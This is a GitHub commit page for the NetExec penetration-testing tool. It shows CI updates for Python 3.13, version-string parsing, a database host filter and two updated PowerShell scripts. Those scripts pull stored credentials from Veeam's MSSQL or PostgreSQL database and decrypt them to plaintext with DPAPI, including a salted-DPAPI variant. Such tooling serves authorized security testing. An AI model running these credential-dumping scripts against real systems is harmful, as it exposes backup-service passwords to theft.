Skip to content

Commit 7146824

Browse files
lap1noulap1nou
authored
Merge branch 'Pennyw0rth:main' into fix-ldap-db
2 parents 93a7bd6 + 6de6247 commit 7146824

47 files changed

Lines changed: 2378 additions & 1744 deletions

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

‎.github/workflows/build-binaries.yml‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ jobs:
1010
strategy:
1111
matrix:
1212
os: [ubuntu-latest, macOS-latest, windows-latest]
13-
python-version: ["3.12"]
13+
python-version: ["3.13"]
1414
#python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version
1515
steps:
1616
- uses: actions/checkout@v4

‎.github/workflows/build-zipapps.yml‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ jobs:
1010
strategy:
1111
matrix:
1212
os: [ubuntu-latest, macOS-latest, windows-latest]
13-
python-version: ["3.10", "3.11", "3.12"]
13+
python-version: ["3.10", "3.11", "3.12", "3.13"]
1414
steps:
1515
- uses: actions/checkout@v4
1616
- name: NetExec set up python on ${{ matrix.os }}

‎.github/workflows/lint.yml‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@ jobs:
1919
- name: Set up Python
2020
uses: actions/setup-python@v5
2121
with:
22-
python-version: 3.12
22+
python-version: 3.13
2323
cache: poetry
2424
cache-dependency-path: poetry.lock
2525
- name: Install dependencies with dev group

‎.github/workflows/test.yml‎

Lines changed: 5 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -14,12 +14,14 @@ jobs:
1414
max-parallel: 5
1515
matrix:
1616
os: [ubuntu-latest]
17-
python-version: ["3.10", "3.11", "3.12"]
17+
python-version: ["3.10", "3.11", "3.12", "3.13"]
1818
steps:
1919
- uses: actions/checkout@v4
2020
- name: Install poetry
2121
run: |
22-
pipx install poetry==1.8.4
22+
pipx install poetry
23+
poetry --version
24+
poetry env info
2325
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
2426
uses: actions/setup-python@v5
2527
with:
@@ -29,11 +31,6 @@ jobs:
2931
- name: Install with pipx
3032
run: |
3133
pipx install . --python python${{ matrix.python-version }}
32-
- name: Install poetry
33-
run: |
34-
pipx install poetry --python python${{ matrix.python-version }}
35-
poetry --version
36-
poetry env info
3734
- name: Install libraries with dev group
3835
run: |
3936
poetry install --with dev
@@ -48,4 +45,4 @@ jobs:
4845
poetry run netexec mssql 127.0.0.1
4946
poetry run netexec ssh 127.0.0.1
5047
poetry run netexec ftp 127.0.0.1
51-
poetry run netexec smb 127.0.0.1 -M veeam
48+
poetry run netexec smb 127.0.0.1 -L

‎nxc/cli.py‎

Lines changed: 7 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -19,11 +19,13 @@ def gen_cli_args():
1919

2020
try:
2121
VERSION, COMMIT = importlib.metadata.version("netexec").split("+")
22+
DISTANCE, COMMIT = COMMIT.split(".")
2223
except ValueError:
2324
VERSION = importlib.metadata.version("netexec")
2425
COMMIT = ""
26+
DISTANCE = ""
2527
CODENAME = "NeedForSpeed"
26-
nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT}")
28+
nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT} - {DISTANCE}")
2729

2830
generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
2931
generic_group = generic_parser.add_argument_group("Generic", "Generic options for nxc across protocols")
@@ -53,9 +55,9 @@ def gen_cli_args():
5355
|| || | \ | | ___ | |_ | ____| __ __ ___ ___
5456
\\( )// | \| | / _ \ | __| | _| \ \/ / / _ \ / __|
5557
.=[ ]=. | |\ | | __/ | |_ | |___ > < | __/ | (__
56-
/ /ॱ-ॱ\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___|
57-
ॱ \ / ॱ
58-
ॱ ॱ
58+
/ /˙-˙\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___|
59+
˙ \ / ˙
60+
˙ ˙
5961
6062
The network execution tool
6163
Maintained as an open source project by @NeffIsBack, @MJHallenbeck, @_zblurx
@@ -130,7 +132,7 @@ def gen_cli_args():
130132
sys.exit(1)
131133

132134
if args.version:
133-
print(f"{VERSION} - {CODENAME} - {COMMIT}")
135+
print(f"{VERSION} - {CODENAME} - {COMMIT} - {DISTANCE}")
134136
sys.exit(1)
135137

136138
# Multiply output_tries by 10 to enable more fine granural control, see exec methods

‎nxc/data/veeam_dump_module/veeam_dump_mssql.ps1‎

Lines changed: 37 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,10 @@
11
$SqlDatabaseName = "REPLACE_ME_SqlDatabase"
22
$SqlServerName = "REPLACE_ME_SqlServer"
33
$SqlInstanceName = "REPLACE_ME_SqlInstance"
4+
$b64Salt = "REPLACE_ME_b64Salt"
45

56
#Forming the connection string
6-
$SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
7+
$SQL = "SELECT [user_name] AS 'User', [password] AS 'Password', [description] AS 'Description' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
78
$auth = "Integrated Security=SSPI;" #Local user
89
$connectionString = "Provider=sqloledb; Data Source=$SqlServerName\$SqlInstanceName; Initial Catalog=$SqlDatabaseName; $auth;"
910
$connection = New-Object System.Data.OleDb.OleDbConnection $connectionString
@@ -22,19 +23,46 @@ catch {
2223
exit -1
2324
}
2425

25-
$rows=($dataset.Tables | Select-Object -Expand Rows)
26-
if ($rows.count -eq 0) {
26+
$output=($dataset.Tables | Select-Object -Expand Rows)
27+
if ($output.count -eq 0) {
2728
Write-Host "No passwords found!"
2829
exit
2930
}
3031

3132
Add-Type -assembly System.Security
32-
#Decrypting passwords using DPAPI
33-
$rows | ForEach-Object -Process {
34-
$EnryptedPWD = [Convert]::FromBase64String($_.password)
35-
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
33+
# Decrypting passwords using DPAPI
34+
$output | ForEach-Object -Process {
35+
$EncryptedPWD = [Convert]::FromBase64String($_.password)
3636
$enc = [system.text.encoding]::Default
37-
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
37+
38+
try {
39+
# Decrypt password with DPAPI (old Veeam versions)
40+
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
41+
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
42+
} catch {
43+
try{
44+
# Decrypt password with salted DPAPI (new Veeam versions)
45+
$salt = [System.Convert]::FromBase64String($b64Salt)
46+
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
47+
foreach ($byte in $EncryptedPWD)
48+
{
49+
$hex.AppendFormat("{0:x2}", $byte) > $null
50+
}
51+
$hex = $hex.ToString().Substring(74,$hex.Length-74)
52+
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
53+
for ($i = 0; $i -lt $hex.Length; $i += 2)
54+
{
55+
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
56+
}
57+
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
58+
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
59+
}catch {
60+
$pw_string = "COULD_NOT_DECRYPT"
61+
}
62+
}
63+
$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
64+
$_.password = $pw_string
65+
$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
3866
}
3967

40-
Write-Output $rows | Format-Table -HideTableHeaders | Out-String
68+
Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000

‎nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1‎

Lines changed: 34 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,22 +1,50 @@
11
$PostgreSqlExec = "REPLACE_ME_PostgreSqlExec"
22
$PostgresUserForWindowsAuth = "REPLACE_ME_PostgresUserForWindowsAuth"
33
$SqlDatabaseName = "REPLACE_ME_SqlDatabaseName"
4+
$b64Salt = "REPLACE_ME_b64Salt"
45

5-
$SQLStatement = "SELECT user_name AS User,password AS Password FROM credentials WHERE password != '';"
6+
$SQLStatement = "SELECT user_name AS User, password AS Password, description AS Description FROM credentials WHERE password != '';"
67
$output = . $PostgreSqlExec -U $PostgresUserForWindowsAuth -w -d $SqlDatabaseName -c $SQLStatement --csv | ConvertFrom-Csv
78

89
if ($output.count -eq 0) {
910
Write-Host "No passwords found!"
1011
exit
1112
}
1213

14+
# Decrypting passwords using DPAPI
1315
Add-Type -assembly System.Security
14-
#Decrypting passwords using DPAPI
1516
$output | ForEach-Object -Process {
16-
$EnryptedPWD = [Convert]::FromBase64String($_.password)
17-
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
17+
$EncryptedPWD = [Convert]::FromBase64String($_.password)
1818
$enc = [system.text.encoding]::Default
19-
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
19+
20+
try {
21+
# Decrypt password with DPAPI (old Veeam versions)
22+
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
23+
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
24+
} catch {
25+
try{
26+
# Decrypt password with salted DPAPI (new Veeam versions)
27+
$salt = [System.Convert]::FromBase64String($b64Salt)
28+
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
29+
foreach ($byte in $EncryptedPWD)
30+
{
31+
$hex.AppendFormat("{0:x2}", $byte) > $null
32+
}
33+
$hex = $hex.ToString().Substring(74,$hex.Length-74)
34+
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
35+
for ($i = 0; $i -lt $hex.Length; $i += 2)
36+
{
37+
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
38+
}
39+
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
40+
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
41+
}catch {
42+
$pw_string = "COULD_NOT_DECRYPT"
43+
}
44+
}
45+
$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
46+
$_.password = $pw_string
47+
$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
2048
}
2149

22-
Write-Output $output | Format-Table -HideTableHeaders | Out-String
50+
Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000

‎nxc/database.py‎

Lines changed: 32 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
import configparser
2+
import ipaddress
23
import shutil
34
import sys
45
from os import mkdir
@@ -8,7 +9,7 @@
89
from sqlite3 import connect
910
from threading import Lock
1011

11-
from sqlalchemy import create_engine, MetaData
12+
from sqlalchemy import create_engine, MetaData, func
1213
from sqlalchemy.exc import IllegalStateChangeError
1314
from sqlalchemy.orm import sessionmaker, scoped_session
1415

@@ -109,7 +110,36 @@ def initialize_db():
109110

110111
# Even if the default workspace exists, we still need to check if every protocol has a database (in case of a new protocol)
111112
init_protocol_dbs("default")
112-
113+
114+
def format_host_query(q, filter_term, HostsTable):
115+
"""One annoying thing is that if you search for an ip such as '10.10.10.5',
116+
it will return 10.10.10.5 and 10.10.10.52, so we have to check if its an ip address first
117+
"""
118+
# the FTP and SSH protocols call the column host instead of IP
119+
# TODO: normalize these column names
120+
if hasattr(HostsTable.c, "ip"):
121+
ip_column = HostsTable.c.ip
122+
nxc_logger.debug("Using 'ip' column for filtering")
123+
elif hasattr(HostsTable.c, "host"):
124+
ip_column = HostsTable.c.host
125+
nxc_logger.debug("Using 'host' column for filtering")
126+
else:
127+
nxc_logger.debug("Neither 'ip' nor 'host' columns found in the table")
128+
return q
129+
130+
# first we check if its an ip address
131+
try:
132+
ipaddress.ip_address(filter_term)
133+
nxc_logger.debug(f"filter_term is an IP address: {filter_term}")
134+
q = q.filter(ip_column == filter_term)
135+
except ValueError:
136+
nxc_logger.debug(f"filter_term is not an IP address: {filter_term}")
137+
like_term = func.lower(f"%{filter_term}%")
138+
139+
# check if the hostname column exists for hostname searching
140+
q = q.filter(ip_column.like(like_term) | func.lower(HostsTable.c.hostname).like(like_term)) if hasattr(HostsTable.c, "hostname") else q.filter(ip_column.like(like_term))
141+
142+
return q
113143

114144
class BaseDB:
115145
def __init__(self, db_engine):

‎nxc/logger.py‎

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -80,7 +80,7 @@ def wrapper(self, msg, *args, **kwargs):
8080

8181

8282
class NXCAdapter(logging.LoggerAdapter):
83-
def __init__(self, extra=None):
83+
def __init__(self, extra=None, merge_extra=False):
8484
logging.basicConfig(
8585
format="%(message)s",
8686
datefmt="[%X]",
@@ -93,6 +93,7 @@ def __init__(self, extra=None):
9393
)
9494
self.logger = logging.getLogger("nxc")
9595
self.extra = extra
96+
self.merge_extra = merge_extra
9697
self.output_file = None
9798

9899
logging.getLogger("impacket").disabled = True

0 commit comments

Comments
 (0)